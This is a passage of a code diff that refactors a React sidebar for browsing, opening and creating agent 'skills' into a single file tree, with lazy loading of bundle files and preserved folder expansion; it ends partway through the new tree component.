+ // Live user-expanded folder tree paths, reported by the inner tree (Pierre has
+ // no expand event; it reads `isExpanded()` on model changes). Held as STATE in
+ // the OUTER component so it survives the inner tree's remount on a rename /
+ // install-state change, letting `expanded` below restore what the user had open
+ // instead of collapsing everything (§2.7/§2.8). State (not a ref) so it can be
+ // read during render without violating the React Compiler.
+ const [userExpanded, setUserExpanded] = useState<ReadonlySet<string>>(() => new Set());
+ const { createBlank, creating } = useCreateBlankSkill();
+ // Which scope + add-skill modal tab (upload / skills-sh) is open; null = closed.
+ const [addSkill, setAddSkill] = useState<{ scope: SkillScope; tab: AddSkillTab } | null>(null);
+ // Which scope the New-skill (name + description) dialog is open for; null = closed.
+ const [newSkillScope, setNewSkillScope] = useState<SkillScope | null>(null);
+
+ // Skills OK detected in your other tools that aren't in this project's skills
+ // list — in-place project skills list first-class now, so what
+ // remains here is global-scope skills + plugin-cache installs, rendered as
+ // editable rows under their scope.
+ const [detected, setDetected] = useState<CatalogSkill[] | null>(null);
+ // A detected skill's bundle files (references/scripts), fetched lazily the
+ // first time the user opens it — so the sidebar shows its file tree WITHOUT
+ // firing a preview fetch for every detected skill up front. Keyed `scope::name`.
+ const [detectedFilesById, setDetectedFilesById] = useState<Record<string, readonly string[]>>({});
+ useEffect(() => {
+ if (!skillsMode) return;
+ let alive = true;
+ const load = () => {
+ void listDetectedSkills().then((r) => {
+ if (!alive) return;
+ if (r.ok) setDetected(r.skills);
+ else {
+ console.warn('[skills-sidebar] listDetectedSkills failed:', r);
+ setDetected([]);
+ }
+ });
+ };
+ load();
+ const unsub = subscribeToSkillsChanged(load);
+ return () => {
+ alive = false;
+ unsub();
+ };
+ }, [skillsMode]);
+
+ // A name can be held by several distinct-content skills in different host dirs
+ // — different skills, not copies. Scope+name is then not a row identity: it
+ // would collapse their bundle-file lists and their tree rows into one. Only
+ // those rows carry a host qualifier, so every ordinary skill keeps the exact
+ // keys and requests it used before.
+ const sharedNameKeys = new Set<string>();
+ {
+ const seen = new Set<string>();
+ for (const s of skills) {
+ const k = `${s.scope}:${s.name}`;
+ if (seen.has(k)) sharedNameKeys.add(k);
+ seen.add(k);
+ }
+ }
+ const hostQualifierOf = (s: SkillsListEntry): string | undefined =>
+ sharedNameKeys.has(`${s.scope}:${s.name}`) ? s.hosts[0] : undefined;
+ const skillRowKey = (s: SkillsListEntry): string =>
+ `${s.scope}:${s.name}:${hostQualifierOf(s) ?? ''}`;
+
+ // Eager-load every managed skill's bundle files (both scopes) into one map.
+ // Keyed on the full row set so it refetches only on add/remove, not every render.
+ const filesKey = skills.map(skillRowKey).join('|');
+ const [filesByKey, setFilesByKey] = useState<Record<string, readonly SkillBundledFile[]>>({});
+ // True while the N-per-skill bundle-file fetch is in flight. Drives the section
+ // loading indicator so a folder with many skills doesn't look broken/empty while
+ // it fetches. Self-scaling: barely a flash on a small KB, visible when
+ // there are many skills to load.
+ const [bundleLoading, setBundleLoading] = useState(false);
+ useEffect(() => {
+ // Only the Skills tree consumes filesByKey, and this section stays mounted
+ // in Files view too — so skip the N fetches + skillsChanged subscription
+ // entirely until Skills mode is actually shown.
+ if (!skillsMode) return;
+ let alive = true;
+ const entries = filesKey ? filesKey.split('|') : [];
+ const load = () => {
+ setBundleLoading(true);
+ void Promise.all(
+ entries.map((e) => {
+ const [scope, name, host] = e.split(':') as [SkillScope, string, string];
+ return getSkillBundledFiles(scope, name, host || undefined).then((r) => {
+ // A non-OK fetch yields an empty file list, indistinguishable from a
+ // skill that genuinely has none — leave a diagnostic so a 500/timeout
+ // doesn't vanish silently.
+ if (!r.ok)
+ console.warn(`[skills-sidebar] failed to load bundle files for ${e}:`, r.error);
+ return [e, r.ok ? r.files : []] as const;
+ });
+ }),
+ )
+ .then((loaded) => {
+ if (alive) setFilesByKey(Object.fromEntries(loaded));
+ })
+ .catch((err) => {
+ // getSkillBundledFiles catches its own fetch rejections, so this only
+ // fires on an unexpected throw — surface it rather than leaving state stale.
+ console.error('[skills-sidebar] unexpected error loading skill bundle files', err);
+ })
+ .finally(() => {
+ if (alive) setBundleLoading(false);
+ });
+ };
+ load();
+ const unsub = subscribeToSkillsChanged(load);
+ return () => {
+ alive = false;
+ unsub();
+ };
+ }, [filesKey, skillsMode]);
- // Per-scope accordion open-state. Closed by default, but a scope auto-opens
- // when it holds the active skill — so a skill moved/opened INTO a scope is
- // revealed instead of vanishing behind a collapsed header (the "moved but the
- // dock didn't update" report). User intent (an explicit toggle) wins via the
- // `?? autoOpen` fallback: once toggled, that scope stops auto-opening.
- const [openScopes, setOpenScopes] = useState<Record<string, boolean>>({});
+ // The Files/Skills switch now lives in the sidebar chrome row (FileSidebar),
+ // shared with search — so in Files mode this section contributes nothing and
+ // the FileTree renders directly beneath that row.
+ if (!skillsMode) {
+ return null;
+ }
+
+ // --- open routing (parameterized by skill) ---
+ // Open a skill's live doc (project content doc OR `__skill__/…` managed-
+ // artifact doc — both resolve to a `{kind:'doc'}` target) REPLACING the active
+ // tab, the same preview-tab behavior the Files tree uses on click: clicking
+ // through skills reuses one tab instead of stacking a new one each time (§8.7).
+ // A pinned active tab is preserved (replace-active falls back to append when
+ // pinned, handled in openTargetWithOptions).
+ const openSkillDoc = (docName: string) => {
+ openTarget({ kind: 'doc', target: docName, docName }, { tabBehavior: 'replace-active' });
+ pushHashWithoutNavigation(hashFromDocName(docName));
+ stayInSkills();
+ };
+ const openSkillMd = (skill: SkillsListEntry) => {
+ openSkillDoc(skillEntryLiveDocName(skill));
+ };
+ // Managed built-ins reuse the SAME read-only preview tab as detected skills, sourced
+ // from their bundle dir (`absolutePath` is the bundle SKILL.md; its parent is
+ // the skill dir). The `builtin` flavor swaps the "Manage it" header for a
+ // read-only note and drops the import action.
+ // Open a read-only skill preview REPLACING the active tab (§8.7, matching the
+ // editable-doc + Files behavior), instead of stacking a new preview tab each
+ // click. The hash still carries the full target for deep-linking + the
+ // in-preview FILES list. A pinned active tab is preserved by openTargetWithOptions.
+ const openPreviewReplacing = (target: SkillPreviewHashTarget) => {
+ // A local-path preview (built-in / detected) reuses the tab already open for
+ // that skill+level instead of spawning a second one. Its `source` is part of
+ // the tab identity but moves under us — a plugin-cache path carries the
+ // plugin version, and a detected skill relocates when its installed copy is
+ // deleted — so the same skill would otherwise open a second, identically
+ // labelled tab. `explore` keeps `source` in its identity (same name from two
+ // repos is two different previews), so it is not deduped here.
+ if (target.flavor !== 'explore' && target.level) {
+ const existing = findLocalSkillPreviewTabId(
+ openTabs,
+ target.flavor,
+ target.name,
+ target.level,
+ );
+ if (existing) {
+ activateTab(existing);
+ pushHashWithoutNavigation(hashFromSkillPreview(target));
+ stayInSkills();
+ return;
+ }
+ }
+ openTarget(
+ {
+ kind: 'skill-preview' as const,
+ target: `${target.flavor}/${target.source}/${target.name}`,
+ flavor: target.flavor,
+ source: target.source,
+ name: target.name,
+ subtitle: target.subtitle,
+ level: target.level,
+ path: target.path,
+ },
+ { tabBehavior: 'replace-active' },
+ );
+ pushHashWithoutNavigation(hashFromSkillPreview(target));
+ stayInSkills();
+ };
+ const openManaged = (skill: SkillsListEntry) => {
+ // Same-tab reuse for a re-opened built-in lives in `openPreviewReplacing`,
+ // which covers every local-path preview flavor.
+ openPreviewReplacing({
+ flavor: 'builtin',
+ source: skillDir(skill.absolutePath ?? ''),
+ name: skill.name,
+ subtitle: '',
+ level: skill.scope,
+ });
+ };
+ const openFile = (skill: SkillsListEntry, filePath: string) => {
+ const dot = filePath.lastIndexOf('.');
+ const ext = dot >= 0 ? filePath.slice(dot + 1).toLowerCase() : '';
+ // Editable in place: any `.md`/`.mdx` bundle file of a non-managed skill,
+ // project OR global. Project files are content docs; global files are
+ // managed-artifact live docs — `skillFileLiveDocName` routes both. Managed
+ // built-ins (open-knowledge*) and non-md files (scripts/binary) fall through
+ // to the read-only skill-file viewer.
+ if (!skill.managed && (ext === 'md' || ext === 'mdx')) {
+ openSkillDoc(skillEntryFileLiveDocName(skill, filePath));
+ return;
+ }
+ const host = hostQualifierOf(skill);
+ openTarget(
+ {
+ kind: 'skill-file' as const,
+ // The target string is the tab identity — it must separate two
+ // same-named skills, or opening one focuses the other's tab.
+ target: `${skill.scope}/${skill.name}${host ? `:${host}` : ''}/${filePath}`,
+ scope: skill.scope,
+ name: skill.name,
+ path: filePath,
+ ...(host ? { host } : {}),
+ },
+ { tabBehavior: 'replace-active' },
+ );
+ pushHashWithoutNavigation(
+ hashFromSkillFile({
+ scope: skill.scope,
+ name: skill.name,
+ path: filePath,
+ ...(host ? { host } : {}),
+ }),
+ );
+ stayInSkills();
+ };
+ const isFileActive = (skill: SkillsListEntry, filePath: string): boolean => {
+ const ext = filePath.slice(filePath.lastIndexOf('.') + 1).toLowerCase();
+ if (!skill.managed && (ext === 'md' || ext === 'mdx')) {
+ return activeDocName === skillEntryFileLiveDocName(skill, filePath);
+ }
+ return (
+ activeTarget?.kind === 'skill-file' &&
+ activeTarget.scope === skill.scope &&
+ activeTarget.name === skill.name &&
+ activeTarget.path === filePath
+ );
+ };
+ const isSkillMdActive = (skill: SkillsListEntry): boolean => {
+ // A skill-FILE viewer (`{kind:'skill-file'}`, e.g. LICENSE.txt) and a skill
+ // PREVIEW carry no docName, so opening one leaves `activeDocName` stale on the
+ // last DOC tab — which is often this skill's SKILL.md. Without this guard that
+ // stale value makes SKILL.md read as active while a file viewer is open, so the
+ // tree highlights SKILL and the `p === activePath` click-guard then blocks
+ // reopening SKILL.md. Only a real doc tab counts as the active SKILL.md.
+ if (activeTarget?.kind !== 'doc') return false;
+ return activeDocName === skillEntryLiveDocName(skill);
+ };
+
+ // Detected-row actions: open the editable in-place buffer.
+ const detectedId = (s: CatalogSkill) =>
+ `${catalogRawScopeToOkScope(s.provenance.scope)}::${s.name}`;
+ // Lazily load this detected skill's bundle file tree on first open (cached
+ // after) so the row can nest references/scripts under it.
+ const ensureDetectedFiles = (s: CatalogSkill, source: string) => {
+ const id = detectedId(s);
+ if (detectedFilesById[id] !== undefined) return;
+ void fetchSkillPreview({ source, name: s.name }).then((r) => {
+ if (!r.ok) return;
+ setDetectedFilesById((prev) => ({ ...prev, [id]: r.files.map((f) => f.relPath) }));
+ });
+ };
+ const openDetected = (s: CatalogSkill, sub?: string) => {
+ const source = skillDir(s.files.skillMd);
+ ensureDetectedFiles(s, source);
+ const rel = sub && sub !== SKILL_MD_PATH ? sub : undefined;
+ // A Claude PLUGIN-CACHE resident is vendor-managed, versioned state — a
+ // plugin update clobbers any edit, so the editable in-place buffer is a
+ // trap there. Open the read-only detected preview instead (Adopt copies
+ // it to a real location the user owns).
+ if (s.provenance.plugin !== undefined) {
+ openPreviewReplacing({
+ flavor: 'detected',
+ source,
+ name: s.name,
+ subtitle: s.sourceHarness ?? '',
+ level: catalogRawScopeToOkScope(s.provenance.scope),
+ ...(rel !== undefined ? { path: sub } : {}),
+ });
+ return;
+ }
+ // The skill row / SKILL.md AND every reference file open the EDITABLE buffer
+ // that autosaves back to the real harness file — "edit without managing":
+ // full WYSIWYG. A bundle file
+ // passes its ext-less `rel`; one registration covers the whole skill dir.
+ void openSkillForEdit(s.name, source, { replaceActive: true, rel }).then((r) => {
+ if (!r.ok) toast.error(t`Couldn't open ${s.name} for editing: ${r.error}`);
+ // Pins after the async open lands, for the same reason as the sync paths.
+ else stayInSkills();
+ });
+ };
+
+ // Build paths + a `<scopeLabel>/<segment>` → skill lookup. Every scope always
+ // appears (as an empty folder if it has no skills) so its "New / Add" menu is
+ // always reachable.
+ const labelToScope = new Map(SKILL_SCOPE_ORDER.map((s) => [scopeLabel[s], s] as const));
+ // The tree segment is normally the stripped display name, but Pierre labels
+ // rows by the path basename — so when two skills in one scope strip to the
+ // same name (e.g. a user `foo` beside the shipped `open-knowledge-pack-foo`)
+ // a shared segment would collapse both to one row and hide one. Only the
+ // colliding skills fall back to their full (unstripped) name to stay distinct.
+ // Third tier: distinct-content skills that share a name outright, where even
+ // the full name is identical — those take the host dir that holds them, which
+ // is the thing that actually tells them apart.
+ const displayCounts = new Map<string, number>();
+ for (const s of skills) {
+ const key = `${s.scope}\x00${skillDisplayName(s.name)}`;
+ displayCounts.set(key, (displayCounts.get(key) ?? 0) + 1);
+ }
+ const segmentFor = (s: SkillsListEntry) => {
+ const display = skillDisplayName(s.name);
+ const host = hostQualifierOf(s);
+ if (host) return `${s.name} (${host === 'agents' ? '.agents' : host})`;
+ return (displayCounts.get(`${s.scope}\x00${display}`) ?? 0) > 1 ? s.name : display;
+ };
+ const skillByPrefix = new Map<string, SkillsListEntry>();
+ const paths: string[] = [];
+ let activePath: string | undefined;
+ // Both scope rows (GLOBAL / PROJECT) stay expanded. The tree remounts on any
+ // skill add/remove/rename (path/state key change), and Pierre exposes no
+ // expansion callback to snapshot user state across that — so pinning the
+ // section headers open keeps a sibling scope from collapsing when an unrelated
+ // skill is deleted. Individual skill folders still expand only for the active doc.
+ const expanded: string[] = [];
+ // Segments already taken per scope — so a detected skill can't collide with a
+ // managed skill's row (or another detected skill's).
+ const usedSegments = new Map<SkillScope, Set<string>>(
+ SKILL_SCOPE_ORDER.map((s) => [s, new Set<string>()]),
+ );
+ for (const scope of SKILL_SCOPE_ORDER) {
+ paths.push(`${scopeLabel[scope]}/`);
+ expanded.push(`${scopeLabel[scope]}/`);
+ }
+ for (const s of skills) {
+ const segment = segmentFor(s);
+ usedSegments.get(s.scope)?.add(segment);
+ const prefix = `${scopeLabel[s.scope]}/${segment}`;
+ skillByPrefix.set(prefix, s);
+ paths.push(`${prefix}/${SKILL_MD_PATH}`);
+ if (isSkillMdActive(s)) {
+ activePath = `${prefix}/${SKILL_MD_PATH}`;
+ expanded.push(`${scopeLabel[s.scope]}/`, `${prefix}/`);
+ }
+ for (const f of filesByKey[skillRowKey(s)] ?? []) {
+ paths.push(`${prefix}/${f.path}`);
+ if (!activePath && isFileActive(s, f.path)) {
+ activePath = `${prefix}/${f.path}`;
+ expanded.push(`${scopeLabel[s.scope]}/`, `${prefix}/`);
+ }
+ }
+ }
+
+ // Detected (un-managed) skills — badged rows nested under their OWN scope
+ // alongside the managed ones. A detected skill's level comes from the harness
+ // provenance (Claude's project / user), NOT where the file lives, so a
+ // project-scoped plugin skill lands under PROJECT even though its files are in
+ // a user-global home. The server has already dropped project-scoped installs
+ // bound to a DIFFERENT project (project-locality), so a `project` row here is
+ // genuinely this project's. A detected skill whose name is already OK-managed
+ // (at either scope) is skipped: the managed skill is re-detected via its editor
+ // symlink, and it already shows as its managed row.
+ const managedNames = new Set<string>([...nameSets.global, ...nameSets.project]);
+ const detectedByPrefix = new Map<string, CatalogSkill>();
+ const visibleDetected = detected ?? [];
+ for (const s of visibleDetected) {
+ if (managedNames.has(s.name) || OK_OWN_SKILLS.has(s.name)) continue;
+ const scope = catalogRawScopeToOkScope(s.provenance.scope);
+ const used = usedSegments.get(scope);
+ if (!used) continue;
+ let segment = skillDisplayName(s.name);
+ if (used.has(segment)) segment = s.name;
+ if (used.has(segment)) continue; // hard collision (rare) → don't hide a real row
+ used.add(segment);
+ const prefix = `${scopeLabel[scope]}/${segment}`;
+ detectedByPrefix.set(prefix, s);
+ paths.push(`${prefix}/${SKILL_MD_PATH}`);
+ // Highlight the row when its editable `__extskill__/` buffer is the open doc.
+ if (!activePath && activeDocName === externalSkillLiveDocName(s.name)) {
+ activePath = `${prefix}/${SKILL_MD_PATH}`;
+ expanded.push(`${scopeLabel[scope]}/`, `${prefix}/`);
+ }
+ // Once loaded, nest the detected skill's reference/script files under it and
+ // keep it expanded so the tree it just revealed doesn't collapse on re-render.
+ const detectedFiles = detectedFilesById[detectedId(s)] ?? [];
+ for (const rel of detectedFiles) paths.push(`${prefix}/${rel}`);
+ if (detectedFiles.length > 0) expanded.push(`${prefix}/`);
+ }
+
+ // Every scope with NO skills (managed or detected) gets a hidden sentinel child
+ // so Pierre still renders its folder + header — otherwise a childless directory
+ // is dropped from the visible tree and the scope disappears, sliding the sibling
+ // to the top. `usedSegments` holds the taken segments per scope, so size 0 = empty.
+ for (const scope of SKILL_SCOPE_ORDER) {
+ if (usedSegments.get(scope)?.size === 0) {
+ paths.push(`${scopeLabel[scope]}/${EMPTY_SCOPE_SENTINEL}`);
+ }
+ }
+
+ // Restore folders the user manually expanded across a remount: the set of all
+ // valid folder tree paths is the scope rows + every managed/detected skill's
+ // folder; keep only the ones the inner tree recorded as expanded (§2.7/§2.8).
+ const validFolderPaths = new Set<string>();
+ for (const scope of SKILL_SCOPE_ORDER) validFolderPaths.add(`${scopeLabel[scope]}/`);
+ for (const prefix of skillByPrefix.keys()) validFolderPaths.add(`${prefix}/`);
+ for (const prefix of detectedByPrefix.keys()) validFolderPaths.add(`${prefix}/`);
+ for (const p of userExpanded) {
+ if (validFolderPaths.has(p)) expanded.push(p);
+ }
+
+ // Pure, unit-tested comparator (see skill-sort.test.ts). The depth semantics
+ // it encodes are load-bearing and previously shipped wrong; keep the coverage.
+ const skillSort = createSkillSortComparator(labelToScope, detectedByPrefix);
+
+ // Remount key: path set + per-skill state (installed/update) + detected count —
+ // NOT the active row (selection is synced imperatively so opening a doc never
+ // remounts / collapses the tree).
+ const stateKey = `${skills.map((s) => `${s.installed ? 1 : 0}`).join('')}|d${detectedByPrefix.size}`;
+
+ // First list load, or the N-per-skill bundle-file fetch in flight — surface it
+ // so a folder with many skills reads as "loading", not broken/empty.
+ const skillsLoading = state.status === 'loading' || bundleLoading;
return (
- // Collapsible like the Files tree: clicking the "Skills" header toggles the
- // whole list. The `+` (New skill) stays an absolutely-positioned group action
- // outside the trigger so it doesn't toggle the section.
- <Collapsible className="group/skills shrink-0">
- {/* `px-0` overrides the base `p-2`'s horizontal inset so the "Skills"
- header lands at the same 8px baseline as the Files section's project
- header (both rely solely on their own SidebarGroupLabel `px-2`) —
- see the matching override on the Files SidebarGroup in
- FileSidebar.tsx. */}
- <SidebarGroup className="px-0">
- <SidebarGroupLabel asChild>
- <CollapsibleTrigger className="flex w-full items-center gap-1.5">
- <Hexagon className="size-3.5 shrink-0" />
- <Trans>Skills</Trans>
- <ChevronRight className="size-3.5 shrink-0 text-muted-foreground transition-transform group-data-[state=open]/skills:rotate-90" />
- </CollapsibleTrigger>
- </SidebarGroupLabel>
- <SidebarGroupAction title={t`New skill`} onClick={() => setNewSkillOpen(true)}>
- <Plus />
- <span className="sr-only">
- <Trans>New skill</Trans>
- </span>
- </SidebarGroupAction>
- <CollapsibleContent>
- <SidebarGroupContent>
- <SkillImportPrompt />
- <SkillsShareLocalOnlyPrompt
- hasProjectSkills={skills.some((s) => s.scope === 'project' && !s.managed)}
- />
- {skills.length === 0 ? (
- <p className="px-2 py-1 text-xs text-muted-foreground">
- <Trans>No skills yet.</Trans>
- </p>
- ) : (
- SKILL_SCOPE_ORDER.filter((scope) => skills.some((s) => s.scope === scope)).map(
- (scope) => {
- // Auto-open the scope that holds the active skill. This wins
- // over a stale manual toggle: a skill moved/opened INTO a scope
- // must be revealed, not stay hidden behind a header the user
- // happened to collapse earlier (the "moved a skill across
- // scopes and it vanished from the tree" report). Manual toggles
- // still govern the scopes that don't hold the active skill.
- const holdsActive = skills.some(
- (s) => s.scope === scope && skillLiveDocName(s.scope, s.name) === activeDocName,
- );
- return (
- // Each scope (Global / Project) is its own accordion, closed
- // by default — expanding Skills reveals the two scope headers,
- // and the user opens the one they want.
- <Collapsible
- key={scope}
- className="group/scope"
- open={holdsActive || (openScopes[scope] ?? false)}
- onOpenChange={(open) => setOpenScopes((prev) => ({ ...prev, [scope]: open }))}
- >
- <CollapsibleTrigger className="flex w-full items-center gap-1 px-2 pt-1 pb-0.5 text-[11px] text-muted-foreground/70 hover:text-muted-foreground">
- <ChevronRight className="size-3 shrink-0 transition-transform group-data-[state=open]/scope:rotate-90" />
- <span className="truncate">{scopeLabel[scope]}</span>
- </CollapsibleTrigger>
- <CollapsibleContent>
- {/* Indent the scope's skills one step under its header so
- the tree reads Skills > scope > skill > file. */}
- <SidebarMenu className="pl-2">
- {skills
- .filter((s) => s.scope === scope)
- .map((skill) => (
- <SkillFolderItem
- key={`${skill.scope}::${skill.name}`}
- skill={skill}
- activeDocName={activeDocName}
- actions={actions}
- existingNames={nameSets[skill.scope]}
- />
- ))}
- </SidebarMenu>
- </CollapsibleContent>
- </Collapsible>
- );
- },
- )
- )}
- </SidebarGroupContent>
- </CollapsibleContent>
- {actions.dialogs}
+ <SidebarGroup className="px-0">
+ <SidebarGroupContent>
+ <SkillsShareLocalOnlyPrompt
+ hasProjectSkills={skills.some((s) => s.scope === 'project' && !s.managed)}
+ />
+ {skillsLoading ? (
+ <div
+ className="flex items-center gap-2 px-3 py-1.5 text-muted-foreground text-xs"
+ data-testid="skills-loading"
+ role="status"
+ aria-live="polite"
+ >
+ <Loader2 className="size-3.5 animate-spin" aria-hidden />
+ <Trans>Loading skills</Trans>
+ </div>
+ ) : null}
+ <SkillsTree
+ key={`${paths.join('|')}::${stateKey}`}
+ paths={paths}
+ activePath={activePath}
+ initialExpandedPaths={expanded}
+ onExpandedChange={setUserExpanded}
+ sort={skillSort}
+ skillByPrefix={skillByPrefix}
+ detectedByPrefix={detectedByPrefix}
+ labelToScope={labelToScope}
+ scopeDescription={scopeDescription}
+ existingNames={nameSets}
+ actions={actions}
+ onOpenSkillMd={openSkillMd}
+ onOpenFile={openFile}
+ onOpenDetected={openDetected}
+ onOpenManaged={openManaged}
+ onNewSkill={(scope) => setNewSkillScope(scope)}
+ onAddSkill={(scope, tab) => setAddSkill({ scope, tab })}
+ />
+ </SidebarGroupContent>
+ {newSkillScope !== null ? (
<NewSkillDialog
- defaultScope="project"
- open={newSkillOpen}
- onOpenChange={setNewSkillOpen}
- onCreated={({ scope, name }) => openManagedArtifactTab(skillLiveDocName(scope, name))}
+ open
+ scope={newSkillScope}
+ existingNames={nameSets[newSkillScope]}
+ busy={creating}
+ onOpenChange={(open) => {
+ if (!open) setNewSkillScope(null);
+ }}
+ onCreate={({ name, description }) => {
+ const scope = newSkillScope;
+ setNewSkillScope(null);
+ void createBlank(scope, { name, description });
+ }}
/>
- </SidebarGroup>
- </Collapsible>
+ ) : null}
+ {actions.dialogs}
+ {addSkill !== null ? (
+ <Suspense fallback={null}>
+ <ImportSkillDialog
+ defaultScope={addSkill.scope}
+ defaultTab={addSkill.tab}
+ open
+ onOpenChange={(open) => {
+ if (!open) setAddSkill(null);
+ }}
+ onImported={({ scope, name }) => {
+ setAddSkill(null);
+ openSkill(scope, name);
+ }}
+ />
+ </Suspense>
+ ) : null}
+ </SidebarGroup>
);
}
/**
- * One skill rendered as an expandable folder. Collapsed it reads as a row;
- * expanded it lazy-loads the skill's bundled files and shows them as a nested
- * tree. The skill's own `SKILL.md` is a synthetic top child that opens the
- * editor; everything else is browsable file content.
+ * The single Pierre tree. Remounted by the parent on path/state changes so it
+ * re-derives decorations; selection is synced imperatively (below) so opening a
+ * doc never remounts. Owns the decoration / context-menu / selection wiring for
+ * both managed and detected rows.
*/
-function SkillFolderItem({
- skill,
- activeDocName,
- actions,
+function SkillsTree({
+ paths,
+ activePath,
+ initialExpandedPaths,
+ onExpandedChange,
+ sort,
+ skillByPrefix,
+ detectedByPrefix,
+ labelToScope,
+ scopeDescription,
existingNames,
+ actions,
+ onOpenSkillMd,
+ onOpenFile,
+ onOpenDetected,
+ onOpenManaged,
+ onNewSkill,
+ onAddSkill,
}: {
- skill: SkillsListEntry;
- activeDocName: string | null;
+ paths: readonly string[];
+ activePath: string | undefined;
+ initialExpandedPaths: readonly string[];
+ /** Report live user-expanded folder paths to the parent so a remount can
+ * restore expansion (§2.7/§2.8). Called only when the set changes. */
+ onExpandedChange: (paths: ReadonlySet<string>) => void;
+ sort: FileTreeSortComparator;
+ skillByPrefix: Map<string, SkillsListEntry>;
+ detectedByPrefix: Map<string, CatalogSkill>;
+ labelToScope: Map<string, SkillScope>;
+ scopeDescription: Record<SkillScope, string>;
+ existingNames: Record<SkillScope, Set<string>>;
actions: SkillActions;
- existingNames: ReadonlySet<string>;
+ onOpenSkillMd: (skill: SkillsListEntry) => void;
+ onOpenFile: (skill: SkillsListEntry, filePath: string) => void;
+ onOpenDetected: (skill: CatalogSkill, sub?: string) => void;
+ onOpenManaged: (skill: SkillsListEntry) => void;
+ onNewSkill: (scope: SkillScope) => void;
+ onAddSkill: (scope: SkillScope, tab: AddSkillTab) => void;
}) {
const { t } = useLingui();
- const [open, setOpen] = useState(false);
- const [menuOpen, setMenuOpen] = useState(false);
- const active = activeDocName === skillLiveDocName(skill.scope, skill.name);
-
- return (
- <Collapsible open={open} onOpenChange={setOpen} className="group/skill">
- <SidebarMenuItem>
- <CollapsibleTrigger asChild>
- <SidebarMenuButton
- size="sm"
- isActive={active}
- className="h-6 text-[11px]"
- // Right-click opens the same actions menu as the hover 3-dot button,
- // matching the file tree's right-click affordance. preventDefault
- // suppresses the native browser context menu so only the dropdown opens.
- onContextMenu={(e) => {
- e.preventDefault();
- setMenuOpen(true);
- }}
- >
- <ChevronRight className="size-3 shrink-0 text-muted-foreground transition-transform group-data-[state=open]/skill:rotate-90" />
- <Hexagon className="size-3 shrink-0 text-muted-foreground" />
- {/* Display the prefix-stripped name (`open-knowledge-pack-X` → `X`) so
- even the longest shipped skill fits a normal width; the badge is
- shrink-0 so it shows fully ("Installed"/"Draft"). `title` keeps the
- full identity on hover. */}
- <span className="min-w-0 flex-1 truncate" title={skill.name}>
- {skillDisplayName(skill.name)}
- </span>
- <span className="ml-auto flex shrink-0 items-center gap-1">
- {/* Starter-pack update marker: a newer bundled version exists. The
- adopt action lives in the row's 3-dot menu (opt-in). */}
- {skill.updateAvailable ? (
- <span
- title={t`Update available${skill.bundledVersion ? ` (${skill.bundledVersion})` : ''}`}
- className="flex items-center"
- >
- <RefreshCw className="size-3 text-primary" aria-label={t`Update available`} />
- </span>
- ) : null}
- {skill.managed ? (
- <span title={t`Managed by OpenKnowledge (read-only)`} className="flex items-center">
- <Lock
- className="size-3 text-muted-foreground"
- aria-label={t`Managed by OpenKnowledge (read-only)`}
- />
- </span>
- ) : (
- <SkillStateBadge installed={skill.installed} subtle className="shrink-0" />
- )}
- </span>
- </SidebarMenuButton>
- </CollapsibleTrigger>
- {/* The same context menu a file row gets (Reveal / Open with AI / Terminal
- / Copy Path / Duplicate / Rename / Delete), with Install/Uninstall in
- place of Hide — reuses SkillContextMenuItems. */}
- <DropdownMenu open={menuOpen} onOpenChange={setMenuOpen}>
- <DropdownMenuTrigger asChild>
- <SidebarMenuAction showOnHover aria-label={t`Actions for ${skill.name}`}>
- <MoreHorizontal />
- </SidebarMenuAction>
- </DropdownMenuTrigger>
- <DropdownMenuContent side="right" align="start" className="min-w-52">
- <SkillContextMenuItems skill={skill} actions={actions} existingNames={existingNames} />
- </DropdownMenuContent>
- </DropdownMenu>
- <CollapsibleContent>
- {open ? <SkillFolderContents skill={skill} /> : null}
- </CollapsibleContent>
- </SidebarMenuItem>
- </Collapsible>
- );
-}
-
-/** A skill's nested file tree node, built from the flat `scripts/run.py` paths. */
-interface FileNode {
- name: string;
- path: string;
- /** Present for folders. */
- children?: FileNode[];
- /** Present for files — inline text, or `null` for binary/oversize. */
- text?: string | null;
-}
-
-function buildFileTree(files: readonly SkillBundledFile[]): FileNode[] {
- const root: FileNode[] = [];
- for (const file of files) {
- const segments = file.path.split('/');
- let level = root;
- segments.forEach((segment, i) => {
- const isLeaf = i === segments.length - 1;
- let node = level.find((n) => n.name === segment);
- if (!node) {
- node = isLeaf
- ? { name: segment, path: file.path, text: file.text }
- : { name: segment, path: segments.slice(0, i + 1).join('/'), children: [] };
- level.push(node);
- }
- if (!isLeaf && node.children) level = node.children;
+ const { resolvedTheme } = useTheme();
+ const hostRef = useRef<HTMLDivElement | null>(null);
+ // Hidden light-DOM pool of brand icons the shadow-DOM injector clones from.
+ const iconPoolRef = useRef<HTMLDivElement | null>(null);
+ const [ready, setReady] = useState(false);
+ useEffect(() => setReady(true), []);
+ // Install pill → the per-agent install menu (a real Radix menu in the LIGHT
+ // DOM, anchored at the clicked pill's screen rect — Radix can't render into
+ // Pierre's shadow root).
+ const [installMenu, setInstallMenu] = useState<{
+ skill: SkillsListEntry;
+ x: number;
+ y: number;
+ } | null>(null);
+ // Re-inject clusters whenever any skill's host set changes: the tree only
+ // remounts on the installed/not-installed BIT (`stateKey`), so adding a host
+ // (1→2 agents) wouldn't otherwise refresh the icons. This signal in the
+ // injection effect's deps forces a re-run without a full remount.
+ const installSignal = [...skillByPrefix.values()]
+ .map((s) => `${s.name}:${[...s.hosts].sort().join(',')}`)
+ .join('|');
+ const prefixOf = (node: TreeNode): string | undefined =>
+ node.skillDisplay === undefined ? undefined : `${node.scopeLabel}/${node.skillDisplay}`;
+ const skillFor = (node: TreeNode): SkillsListEntry | undefined => {
+ const p = prefixOf(node);
+ return p === undefined ? undefined : skillByPrefix.get(p);
+ };
+ const detectedFor = (node: TreeNode): CatalogSkill | undefined => {
+ const p = prefixOf(node);
+ return p === undefined ? undefined : detectedByPrefix.get(p);
+ };
+ // Row hover-title = the skill's real on-disk LOCATION (§4.2/§4.4), replacing the
+ // default "Global/name" tree-path tooltip that gave a global skill no origin. A
+ // bundle-file row appends its file path. Detected rows keep the default (their
+ // "Detected in ~/.harness" badge already discloses the home). Built-ins are
+ // read-only projected copies (not in `.ok/skills`), so show their real projected
+ // SKILL.md dir from `absolutePath` rather than the derived store path.
+ const titleForPath = (treePath: string): string | null => {
+ const node = parseTreePath(treePath);
+ // Scope header row (no skill name) → no path tooltip: skills at either
+ // level live wherever their folder is (editor dirs or `.ok/skills`),
+ // so a single store dir would lie. The header's context-menu label
+ // carries the scope description instead.
+ if (node.skillDisplay === undefined) return null;
+ const d = detectedFor(node);
